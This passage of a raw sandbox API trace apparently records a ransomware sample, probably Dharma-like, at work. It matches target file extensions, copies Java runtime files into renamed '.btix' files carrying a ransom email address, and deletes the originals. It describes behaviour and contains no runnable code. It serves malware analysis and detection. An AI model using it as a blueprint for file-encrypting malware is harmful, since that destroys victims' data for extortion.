(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.564] lstrlenW (lpString=".zip") returned 4 [0133.564] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.565] lstrlenW (lpString=".rar") returned 4 [0133.565] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.565] lstrlenW (lpString=".bz2") returned 4 [0133.565] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.565] lstrlenW (lpString=".7z") returned 3 [0133.565] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.565] lstrlenW (lpString=".dbf") returned 4 [0133.565] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.565] lstrlenW (lpString=".1cd") returned 4 [0133.565] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0133.565] lstrlenW (lpString=".jpg") returned 4 [0133.565] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.565] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0133.565] lstrlenW (lpString="rt.jar") returned 6 [0133.565] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0133.565] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=54560347) returned 1 [0133.565] CloseHandle (hObject=0x52c) returned 1 [0133.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0133.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0133.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.566] lstrlenW (lpString=".doc") returned 4 [0133.566] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.566] lstrlenW (lpString=".docx") returned 5 [0133.566] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0133.566] lstrlenW (lpString=".pdf") returned 4 [0133.566] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.566] lstrlenW (lpString=".xls") returned 4 [0133.566] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.566] lstrlenW (lpString=".xlsx") returned 5 [0133.566] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0133.566] lstrlenW (lpString=".ppt") returned 4 [0133.566] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.566] lstrlenW (lpString=".zip") returned 4 [0133.566] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.566] lstrlenW (lpString=".rar") returned 4 [0133.566] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.566] lstrlenW (lpString=".bz2") returned 4 [0133.566] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.567] lstrlenW (lpString=".7z") returned 3 [0133.567] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.567] lstrlenW (lpString=".dbf") returned 4 [0133.567] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.567] lstrlenW (lpString=".1cd") returned 4 [0133.567] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.567] lstrlenW (lpString=".jpg") returned 4 [0133.567] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.567] lstrlenW (lpString=".doc") returned 4 [0133.567] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.567] lstrlenW (lpString=".docx") returned 5 [0133.567] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0133.567] lstrlenW (lpString=".pdf") returned 4 [0133.567] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.567] lstrlenW (lpString=".xls") returned 4 [0133.567] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.567] lstrlenW (lpString=".xlsx") returned 5 [0133.567] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0133.567] lstrlenW (lpString=".ppt") returned 4 [0133.567] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.567] lstrlenW (lpString=".zip") returned 4 [0133.567] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.567] lstrlenW (lpString=".rar") returned 4 [0133.567] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.567] lstrlenW (lpString=".bz2") returned 4 [0133.567] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.567] lstrlenW (lpString=".7z") returned 3 [0133.567] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.567] lstrlenW (lpString=".dbf") returned 4 [0133.568] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.568] lstrlenW (lpString=".1cd") returned 4 [0133.568] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0133.568] lstrlenW (lpString=".jpg") returned 4 [0133.568] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.568] lstrcmpiW (lpString1=".0_144\\lib\\security\\blacklist", lpString2=".btix") returned -1 [0133.568] lstrlenW (lpString="blacklist") returned 9 [0133.568] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0133.570] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4054) returned 1 [0133.570] CloseHandle (hObject=0x52c) returned 1 [0133.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0133.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.570] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0133.570] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.570] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.570] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0133.921] GetLastError () returned 0x0 [0133.921] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0xfd6, lpOverlapped=0x0) returned 1 [0134.291] WriteFile (in: hFile=0x530, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xfe0, lpOverlapped=0x0) returned 1 [0134.292] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.292] WriteFile (in: hFile=0x530, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xe6, lpOverlapped=0x0) returned 1 [0134.292] SetEndOfFile (hFile=0x530) returned 1 [0134.308] CloseHandle (hObject=0x530) returned 1 [0134.312] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.313] SetEndOfFile (hFile=0x52c) returned 1 [0134.315] CloseHandle (hObject=0x52c) returned 1 [0134.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.316] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1 [0134.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.316] lstrlenW (lpString=".doc") returned 4 [0134.316] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0134.316] lstrlenW (lpString=".docx") returned 5 [0134.316] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0134.316] lstrlenW (lpString=".pdf") returned 4 [0134.316] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0134.316] lstrlenW (lpString=".xls") returned 4 [0134.316] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0134.316] lstrlenW (lpString=".xlsx") returned 5 [0134.316] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0134.316] lstrlenW (lpString=".ppt") returned 4 [0134.316] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0134.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.316] lstrlenW (lpString=".zip") returned 4 [0134.316] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0134.317] lstrlenW (lpString=".rar") returned 4 [0134.317] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0134.317] lstrlenW (lpString=".bz2") returned 4 [0134.317] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0134.317] lstrlenW (lpString=".7z") returned 3 [0134.317] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0134.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.317] lstrlenW (lpString=".dbf") returned 4 [0134.317] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0134.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.317] lstrlenW (lpString=".1cd") returned 4 [0134.317] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0134.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.317] lstrlenW (lpString=".jpg") returned 4 [0134.317] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0134.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.317] lstrlenW (lpString=".doc") returned 4 [0134.317] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0134.317] lstrlenW (lpString=".docx") returned 5 [0134.317] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0134.317] lstrlenW (lpString=".pdf") returned 4 [0134.317] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0134.317] lstrlenW (lpString=".xls") returned 4 [0134.317] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0134.317] lstrlenW (lpString=".xlsx") returned 5 [0134.317] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0134.317] lstrlenW (lpString=".ppt") returned 4 [0134.317] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0134.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.317] lstrlenW (lpString=".zip") returned 4 [0134.317] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0134.317] lstrlenW (lpString=".rar") returned 4 [0134.317] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0134.317] lstrlenW (lpString=".bz2") returned 4 [0134.318] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0134.318] lstrlenW (lpString=".7z") returned 3 [0134.318] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0134.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.318] lstrlenW (lpString=".dbf") returned 4 [0134.318] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0134.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.318] lstrlenW (lpString=".1cd") returned 4 [0134.318] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0134.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0134.318] lstrlenW (lpString=".jpg") returned 4 [0134.318] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0134.318] lstrcmpiW (lpString1=".policy", lpString2=".btix") returned 1 [0134.318] lstrlenW (lpString="java.policy") returned 11 [0134.318] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.319] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2466) returned 1 [0134.319] CloseHandle (hObject=0x52c) returned 1 [0134.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0134.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.320] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.320] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.320] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0134.320] GetLastError () returned 0x0 [0134.320] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x9a2, lpOverlapped=0x0) returned 1 [0134.526] WriteFile (in: hFile=0x540, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x9b0, lpOverlapped=0x0) returned 1 [0134.527] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.527] WriteFile (in: hFile=0x540, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xea, lpOverlapped=0x0) returned 1 [0134.527] SetEndOfFile (hFile=0x540) returned 1 [0134.527] CloseHandle (hObject=0x540) returned 1 [0134.527] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.527] SetEndOfFile (hFile=0x52c) returned 1 [0134.529] CloseHandle (hObject=0x52c) returned 1 [0134.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.529] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1 [0134.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.530] lstrlenW (lpString=".doc") returned 4 [0134.530] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0134.530] lstrlenW (lpString=".docx") returned 5 [0134.530] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0134.530] lstrlenW (lpString=".pdf") returned 4 [0134.530] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0134.530] lstrlenW (lpString=".xls") returned 4 [0134.530] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0134.530] lstrlenW (lpString=".xlsx") returned 5 [0134.530] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0134.530] lstrlenW (lpString=".ppt") returned 4 [0134.530] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0134.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.530] lstrlenW (lpString=".zip") returned 4 [0134.530] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0134.530] lstrlenW (lpString=".rar") returned 4 [0134.530] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0134.530] lstrlenW (lpString=".bz2") returned 4 [0134.530] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0134.530] lstrlenW (lpString=".7z") returned 3 [0134.530] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0134.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.531] lstrlenW (lpString=".dbf") returned 4 [0134.531] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0134.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.531] lstrlenW (lpString=".1cd") returned 4 [0134.531] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0134.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.531] lstrlenW (lpString=".jpg") returned 4 [0134.531] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0134.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.531] lstrlenW (lpString=".doc") returned 4 [0134.531] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0134.531] lstrlenW (lpString=".docx") returned 5 [0134.531] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0134.531] lstrlenW (lpString=".pdf") returned 4 [0134.531] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0134.531] lstrlenW (lpString=".xls") returned 4 [0134.531] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0134.531] lstrlenW (lpString=".xlsx") returned 5 [0134.531] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0134.531] lstrlenW (lpString=".ppt") returned 4 [0134.531] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0134.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.531] lstrlenW (lpString=".zip") returned 4 [0134.531] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0134.531] lstrlenW (lpString=".rar") returned 4 [0134.531] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0134.531] lstrlenW (lpString=".bz2") returned 4 [0134.531] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0134.531] lstrlenW (lpString=".7z") returned 3 [0134.531] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0134.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.531] lstrlenW (lpString=".dbf") returned 4 [0134.531] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0134.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.532] lstrlenW (lpString=".1cd") returned 4 [0134.532] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0134.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0134.532] lstrlenW (lpString=".jpg") returned 4 [0134.532] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0134.532] lstrcmpiW (lpString1=".security", lpString2=".btix") returned 1 [0134.532] lstrlenW (lpString="java.security") returned 13 [0134.532] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.532] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=36524) returned 1 [0134.532] CloseHandle (hObject=0x52c) returned 1 [0134.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0134.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.533] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.533] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0134.533] GetLastError () returned 0x0 [0134.533] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x8eac, lpOverlapped=0x0) returned 1 [0134.547] WriteFile (in: hFile=0x540, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x8eb0, lpOverlapped=0x0) returned 1 [0134.548] ReadFile (in: hFile=0x52c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.548] WriteFile (in: hFile=0x540, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xee, lpOverlapped=0x0) returned 1 [0134.548] SetEndOfFile (hFile=0x540) returned 1 